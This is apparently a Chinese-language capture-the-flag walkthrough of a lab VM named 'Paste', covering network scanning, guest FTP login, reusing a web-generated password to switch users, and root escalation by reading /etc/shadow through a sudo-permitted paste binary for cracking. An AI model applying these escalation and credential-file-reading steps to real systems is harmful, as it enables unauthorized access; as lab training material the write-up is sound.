信息搜集

```
• • •
Interface: eth0, type: EN10MB, MAC: 00:0c: 29: ff: 66:80, IPv4: 192.168.31.129
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
                                    (Unknown: locally administered)
192.168.31.2 08:00:27:4b: f3:98
                                    PCS Systemtechnik GmbH
192.168.31.254 08:00:27:8a: af: 88
                                     PCS Systemtechnik GmbH
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.405 seconds (106.44 hosts/sec). 3 responded
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-17 23:30 EDT
Nmap scan report for 192.168.31.254
Host is up (0.0020s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:8A: AF: 88 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 4.86 seconds
```

web 页面是生成一个随机的 8 位数,然后放进 password.log 中,肯定和密码有关系。

FTP

```
331 Please specify the password.
Password:
```

ftp 没有匿名登陆,但是连接信息里告诉了 guest 的密码是 guest,一开始没有看到卡了挺长时间, ⇔。

提权user

还有一个 film 用户,猜测 web 的 8 位数字就是 film 的密码,直接 su 提权

```
guest@Paste:/var/www/html$ cat password.log
38813456
film@Paste:/var/www/html$
```

他是怎么实现的呢? 上传一个 pspy 检测一下看看

```
film@Paste:~$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d

Config: Printing events (colored = true): processes = true | file-system-events = false ||| Scann: Draining file system events due to startup...

done

. . .
```

e

```
• • •
2025/07/17 23:35:44 CMD: UID = 0
                                  PID = 1 | /sbin/init
2025/07/17 23:36:03 CMD: UID = 0
                                 PID = 590
                                              | python3 /usr/local/bin/password_monitor.py
2025/07/17 23:36:03 CMD: UID = 0
                                 PID = 591
                                              | sh -c sudo /usr/local/bin/change
2025/07/17 23:36:03 CMD: UID = 0
                                 PID = 592
                                              | sudo /usr/local/bin/change
2025/07/17 23:36:03 CMD: UID = 0
                                 PID = 593
                                              /usr/local/bin/change
2025/07/17 23:36:04 CMD: UID = 0
                                 PID = 595
                                              | python3 /usr/local/bin/password_monitor.py
2025/07/17 23:36:04 CMD: UID = 0
                                 PID = 596
                                              | sh -c sudo /usr/local/bin/change
2025/07/17 23:36:04 CMD: UID = 0
                                 PID = 597
                                              | sudo /usr/local/bin/change
2025/07/17 23:36:04 CMD: UID = 0 PID = 598
                                              | /usr/local/bin/change
```

执行了一个 python3 /usr/local/bin/password_monitor.py 还有 sudo /usr/local/bin/chang

```
film@Paste:~$ cat /usr/local/bin/password_monitor.py
import os
import pyinotify
import sys
import logging
from time import sleep
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
handlers=[
logging.FileHandler('/var/log/password_monitor.log'),
logging.StreamHandler(sys.stdout)
logger = logging.getLogger('PasswordMonitor')
PASSWORD_FILE = '/var/www/html/password.log'
CHANGE_PROGRAM = '/usr/local/bin/change'
```

```
class EventHandler(pyinotify.ProcessEvent):
def process_IN_MODIFY(self, event):
if event.pathname == PASSWORD_FILE:
logger.info(f"Detected modification to {PASSWORD_FILE}")
try:
sleep(0.5)
os.system(f"sudo {CHANGE_PROGRAM}")
logger.info("Successfully executed change program")
except Exception as e:
logger.error(f"Error executing change program: {str(e)}")
def main():
if not os.path.exists(PASSWORD_FILE):
open(PASSWORD_FILE, 'w').close()
os.chmod(PASSWORD_FILE, 0o600)
logger.info(f"Created password file at {PASSWORD_FILE}")
logger.info("Starting password monitor service")
wm = pyinotify.WatchManager()
mask = pyinotify.IN_MODIFY
handler = EventHandler()
notifier = pyinotify.Notifier(wm, handler)
wm.add_watch(PASSWORD_FILE, mask, rec=False)
notifier.loop()
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
logger.info("Service stopped by user")
except Exception as e:
logger.critical(f"Fatal error: {str(e)}")
```

change可以用ida反编译看看。

就是 password_monitor.py 来监控password.log的变化,如果有变化就会执行 change chang

提权root

```
film@Paste:~$ sudo -1

Matching Defaults entries for film on Paste:

env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sb

User film may run the following commands on Paste:

(ALL) NOPASSWD: /usr/bin/paste
```

sudo -l可以看到能以root身份执行paste,可以直接读取root.txt,想要拿到root的shell的话就要读取shadow文件,然后爆破



root的密码是 sexybitch!